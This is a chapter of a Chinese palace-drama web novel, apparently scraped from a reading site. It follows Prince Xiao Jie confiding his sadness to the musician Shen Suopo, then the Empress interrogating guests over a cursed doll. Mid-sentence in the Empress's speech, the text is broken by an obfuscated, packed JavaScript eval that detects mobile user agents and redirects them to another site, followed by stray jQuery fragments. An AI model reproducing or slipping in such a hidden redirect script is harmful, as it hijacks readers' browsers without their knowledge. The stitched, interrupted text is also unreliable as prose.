默认冷灰
24号文字
方正启体

29. 第 29 章

作者:老白涮肉坊本书字数:K更新时间:
    阿子心中有些惴惴。


    萧玠今日一反常态,竟吃了不少酒水。这陶陶的醉意如同热炭,把他的脸都给烤红了,有点像他发热的前兆。阿子察觉,他有些心不在焉。萧玠已经不止一次放下筷子,也不止一次在交谈中走神。


    席间没有拘束,有些吃醉的伏案休憩,有些没逛完园子,便三三两两结伴而去。等席间人只剩二三,萧玠便揽起琵琶,也要离席。


    阿子忙道:“这边正冲风口,殿下要不先进殿,奴婢安排些解酒汤。”


    萧玠却说:“没事,难得天好,我自己走走。”


    阿子想他病中悒郁,也没有劝阻,只觉萧玠四下张望,像在找寻什么人。


    阿子转头去瞧,心中了然。


    郑绥已然不在席中。


    阿子如若跟随萧玠而去,会发现他拨开几绦垂柳后,在春明池畔住步。池边碧桃打了骨朵,也有的早开,落入池中,血点子般,溅了碧波中的萧玠一身。萧玠的手保持拂开柳丝的姿势,许久没有动弹。这时候顺他的目光望去,会瞧见池子对面站着两人,正是一男一女,少年挺拔,少女娉婷,正是郑崔一对未婚夫妇。崔娘子幂篱打起,露出一张清秀面孔。二人喁喁细语,不久,崔娘子从袖中取出一物,像个香囊。


    萧玠盯着郑绥,郑绥的眼睛郑绥的嘴巴郑绥的手。郑绥的双手向前打开,身躯微躬,将那只香囊接在掌心,收到袖中。


    萧玠的手仍抬着,手中柳枝已如珠帘倾泻,哗啦啦刮了他一头一脸。


    等那二人离去,萧玠静静立了一会,像瞧池中自己的影子。不多时,也举步离开。


    未走多久,远远,一股琵琶声像只小手,往萧玠耳朵边挠了挠,他那灵敏的耳朵当即抓住这只手,被牵着走向院前。


    果然,他在东宫那棵逢春的枯梨树下再次遇见那把琵琶。更要紧的是,萧玠听得,这把琵琶所奏正是自己席上所拨的曲子。只是换了手法,也变了调子,自己弹得洋洋喜气,他却弹得呜呜咽咽。


    一曲毕,那人放下琵琶,没有离去,反而在梨树下仰头站了很久。


    萧玠立了一会,还是道:“这是前朝所植,在奉皇五年宫变时枯死,今年竟开了花。”


    那人转头,露出沈娑婆的面孔,见他并不惊讶,反而笑道:“是,此树复生,殿下也大好了,是吉兆。”


    萧玠走上前,一块进到梨花影子底,问:“为什么要这么弹?”


    沈娑婆道:“殿下所演,臣听在耳中,乐弦哀曲。”


    萧玠笑道:“大伙听着都觉得欢快,沈郎却说是哀曲?”


    沈娑婆道:“曲律之事万人万意。”他微微一顿,还是说:“是臣自以为是。”


    萧玠说:“人如风后入江云,情似雨馀黏地絮。你说得很对。”*


    他笑道:“我今年十六岁,就在宫里过了十六年。宫中不只是宫女内官,就算是我,最拿手的本事也是扮笑脸。陛下是我的父亲,我笑起来连他都能糊弄过去。”


    说着,萧玠转头看沈娑婆,“沈郎,你叫我有些害怕了。”


    沈娑婆道:“殿下有心事。”


    “其实算不得心事,甚至讲起来,还是件很矫情事。”萧玠说,“我总觉得很难快乐。”


    萧玠说:“平日听了好的曲子,吃到好吃的糕点,陛下身体好转,都会让我高兴。但高兴那么一下,也就过去了。我不快乐,但也不难过,照旧能够好好活着。我只是觉得,这些情绪很累,我连变动情绪的力气都没有。但你瞧得出来,我是个很容易被情绪影响的人。”


    萧玠抬眼看梨花,阳光穿过树枝,照在他脸上,闪烁一层金色绒毛。他静静道:“高兴,是会落空的。不高兴,未尝比高兴难过。”


    沈娑婆沉默片刻,道:“那臣请殿下,不要把情绪寄托在外物之上。”


    他从一旁石头上坐下,手指重新在琵琶上舞动。萧玠缓缓从对面坐下,闭目聆听。一时间,融融的春光和乐声一同将他包裹,像丝绸,像蜜糖,像温泉,像所有温暖软和之物。


    沈娑婆手指一划,按住弦音,“请问殿下,您听到了什么?”


    萧玠仍没有睁开眼睛,轻轻道:“我听到……春天。”


    他眉头轻皱,继续道:“天很蓝,很高,很远。太阳底下,东宫的屋角像描了金边。比屋角要高的是一只风筝,翅膀一边大一边小,不是买的,是人手扎的,扎得很用心。风筝被牵在一个人手里,是个孩子的手,被一只大人的手包着。我听到曳线时风筝的纸面振动的声音。我听到他在叫我……他也在笑。在院子里,我听到马蹄驻步,我松开了那根风筝线……我听到我春天的童年。”


    随着他的描述,沈娑婆再次拨弦,很缓很柔,像那只放风筝的手。萧玠深深呼吸一会,抱过自己的琵琶,追着他的乐声拨弦。


    音乐的世界里,那只风筝越飞越远,五彩斑斓地冲上白云,在云间放大所有细节,让人得以看清那写着“天下第一”的飞白书法。它从半空中打着旋,终于坠落尘世时,轻轻栖在黑马鞍鞯上,像只蝴蝶。


    音乐逐渐盛大,阳光团簇绽开,萧玠看清握着自己放风筝的手,它现在牵起另一只手,那只手戴着扳指,手面遮着半截大红箭袖。


    萧玠看着那两个人的两只手缓缓摩挲,十指相扣。


    乐声淅淅沥沥,太阳淅淅沥沥,金点子般的光辉雨一样下起来。是风吹动梨花梨叶、吹响梨树枯皮的声音。


    徐徐收束的尾声里,萧玠再忍不住,身体伏在琵琶上,风筝般颤抖起来。


    沈娑婆静默片刻,还是放下琵琶,轻轻抚摸他的后背,道:“殿下,音乐可以让我们通达一切想要通达之处,哪怕是过去,哪怕是梦境。你全部的心绪,归根到底,都要回归到自己身上。或许有一天,父母会离开你,妻儿会怨怼你,朋友也会背叛你,但音乐不会。你自己不会。”


    ***


    我与萧玠并无深情厚谊,更有君臣之分,于情于理,他都不该同我讲这些。但我明白,正因交浅,所以言深。


    这些话,萧玠不能同任何人讲,不管是他的父亲、老师、挚友,甚至是身旁的近侍阿子。讲给他们,无济于事,徒增他们的烦恼而已。可如果再不讲出来,他承受不住这样复杂沉重的情绪,很可能会导致他重陷童年的噩梦。


    萧玠必须自救,他自救的第一步就是诉说。而我,正是最完美的倾听者。


    因为无关于己,所以不会受到他的影响,一起牵连进情绪的泥潭。同时,我和他在音乐的部分有所共鸣,而音乐是情感的美学,这说明在情感上,我也可以和他有所相通。


    我不是唯一能够帮助他的人,更不会是舍身相救他的人。但我是最适合拉起他的那只手。


    他要的就是不能舍身相救。


    不多时,萧玠从琵琶板上抬起脸,冲我笑了笑,说:“叫沈郎见笑。”


    我摇首,见他要起,便伸手相扶,手掌刚触到他臂弯,便听远处传来一阵忙乱。


    我随萧玠一齐转头,见一支龙武卫冲入东宫,分为两列,将所有人包围入殿。紧接着,我瞧见诸多女官列队而入,手捧水瓶、香炉、香盒、骨朵诸物,最前头,曲柄、直柄的两把黄伞如同羽翼,在微风中淅淅有声。在那宫装贵妇人由众人簇拥下步出之时,东宫大门轰然关闭。


    这时,我听见龙武卫将军尉迟松高声喝道:“有人实施巫蛊,意图谋害殿下。奉皇后殿下懿旨,闭户审问,不得出入!”


    ***


    皇后驾到之后,我便由龙武卫所驱,与教坊众人一齐在阁中听候命令。


    皇后步入阁子时,萧玠已经安坐。皇后走上前,探手摸了摸他的侧脸,道:“阿子,给殿下端盏热汤。现在快到了殿下吃药的时辰,叫人把药炉端过来,就在这边煎。”


    萧玠躬身道:“惊动殿下,是臣的罪过。”


    他将主位让出去,自己坐在一旁的太师椅里。皇后便携他的手,叫他同自己往上坐了。


    这是我第一次面见皇后。


    皇后杨氏今年二十有七,已算不得年轻,皇帝立她为后出乎许多人的意料。可不得不说,杨皇后的脸上,依旧保有少女青春的美丽。她身材娇小,杏眼灵动,倘若笑起来,怕仍能见几分烂漫情致。但杨皇后严妆大服,不苟言笑,又见成熟,极有气势。她携萧玠坐在身边,不像母亲,更像姐姐。


    无论世族子弟还是宫人乐者,俱押入堂中。郑缚仗着是皇后外甥,已头一个叫起来:“娘娘,难不成要咱们跟奴婢们一块审问么?”


    杨皇后道:“你的意思呢?”


    郑缚一个瑟缩,不再说话。


    虞闻道也开口:“臣等受陛下所邀,为东宫座上宾客。如今案情未定,将臣子比如阶下之囚任意羁押,是否不妥?”


    杨皇后笑道:“本宫知道虞郎锦衣玉食,没有受过委屈。但你要晓得,太子是储君,更是陛下的独子。事关社稷安危,孰轻孰重,心中要有判断。今日别说是你们,就是你们的父兄在此,本宫闭户审问,他们也不敢二


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566372|186996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话。若说奴婢……”


    杨皇后注视他,“虞郎,本宫打个比方,倘若凶手是你,你们全家全族的下场,不如一个活着的奴婢。”


    皇后这番话说得厉害,虞闻道却没有惊惧之意,几乎是立刻俯首帖耳,“臣等谨遵谕旨。”


    我垂首立着,心中有些奇怪。皇帝一向视萧玠如同命根,这样大的事情,皇帝居然没有亲至。


    思索间,我已听皇后道:“端上来。”


    我循脚步声看去,见阿子已端一只托盘上前,上头是一只漆盒,一枚人偶,人偶上刺有数根银针。阿子道:“这是在殿下床底下发现的。”


    杨皇后问:“不会是从前就安置下的?”


    阿子道:“回娘娘,怎么也得是今早以后。今早殿下起身,光明钱的红绳松了,掉到了榻里。殿下一开始没找着,和奴婢一块看过床底。”


    萧玠也道:“他说的是。”又问:“殿下,这是……”


    杨皇后说:“殿下想必听说过厌胜之术。”


    萧玠颔首。


    杨皇后继续道:“像殿下的光明钱,其实就是趋吉避凶的厌胜钱。但厌胜除了祈福,更能害人。殿下一场大病来得蹊跷,陛下多方探问,方知是有人厌胜诅咒,狼子野心。果然,殿下初愈,又发现了此物。”


    我站得不算远,见萧玠仍低垂着脸,看不出情绪。杨皇后握了握他的手,道:“今日人多纷杂,又都是世家子弟,不查清楚,未免不会祸及家门。你们除了宴席,都在几时去了哪里,做了什么,可有人证,全部交待明白。”


    这时,有人开口:“娘娘所言极是。臣半刻不曾离席,但请娘娘审问。可臣瞧见游骑将军兄弟都各自出去了,小郑郎可是自打开宴就没出现过,还同殿下当场呛声,大伙都瞧在眼里呢。”


    我同众人一块看去,见一个少年立起。我起初只知道他叫王圣椿,骤然想起,他似乎是那位涉案王云竹的堂侄。既如此,我便推导出王圣椿的父亲究竟何人。


    王云竹案发时,我曾听教坊的老人掰扯过王家故事。王氏一族枝繁叶茂,从他们的家学渊源算,王云竹不足挂齿。其父一支不过旁系,真论王氏的顶头,现在正是他的堂兄、王氏长房王云楠。王云楠供职国子监祭酒,统管各官学。除了从前的青门和从前的杨崇,要论门下弟子,便以王云楠为首。


    当时妙娘叫道,那岂不是将天下学生把持在手了?


    忆奴同她嘀咕,天下学生倒不至于,但能做官的贵族学生都算他的学生……哦,这样算,的确是“天下学生”。


    妙娘皱皱眉头,啊呀,陛下不是最忌惮这些大家同气连枝的吗,怎么放任他们至此,也不管管?


    忆奴笑道,你当是陛下不想管?


    妙娘问,陛下这样厉害,难道还管不了吗?


    忆奴同她掰指头,小声说,你瞧瞧朝堂上,郑、崔、杨、许,王、虞、夏……加上从前的汤,人家这八大家从开国起就扎着脚跟,陛下再厉害,如今也不过三十多年的圣寿,哪里能同这千百八年的岁数比较?百足之虫,死而不僵!陛下能将汤氏拔掉、几个家族削弱至此,已经是天大的手腕了。


    我的思绪悠悠荡荡,陡然,被杨皇后的诘问惊回来。杨皇后看向他年纪稍小的外甥,冷声道:“郑缚,你自己讲。”


    郑缚不过十岁,想来未见过如此阵仗,通红的脸蛋吓得掉色,支吾道:“臣……臣同殿下置气,躲园子里喂鹤去了。想着殿下没瞧见,会叫人来找。”


    “就你一个人?”杨皇后问。


    “就我一个人。”郑缚扁扁嘴说。


    “你以下犯上的事,我往后再说。”杨皇后道,“现在,你是举不出人证或者物证了。”


    郑缚还要争辩,“可是我怎么可能害殿下呀!大哥是殿下的侍读,我害殿下,不就是把大哥往火坑里推吗!”


    杨皇后不理他,看向尉迟松,“既没有证据,便由将军做主问讯。”


    我心中一惊,看杨皇后的意思,竟要将郑缚交给龙武卫审问。虽龙武卫看她的面子,也不会对郑缚做什么举动,但此例一出,只怕这一堂的人难以善了。


    看郑缚的神情,只怕少见这位小姨处置人,连哀求都忘了,叫龙武卫带领去了侧间。既如此,再要问郑绥,奇的是,郑绥一上来竟也是默然。


    万事开头难,杨皇后也没料到先难在自家里,蛾眉微拧,正要开口,却被一道声音打断。


    堂中,那位崔娘子已然出列,欠身道:“郑郎同妾在一处。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)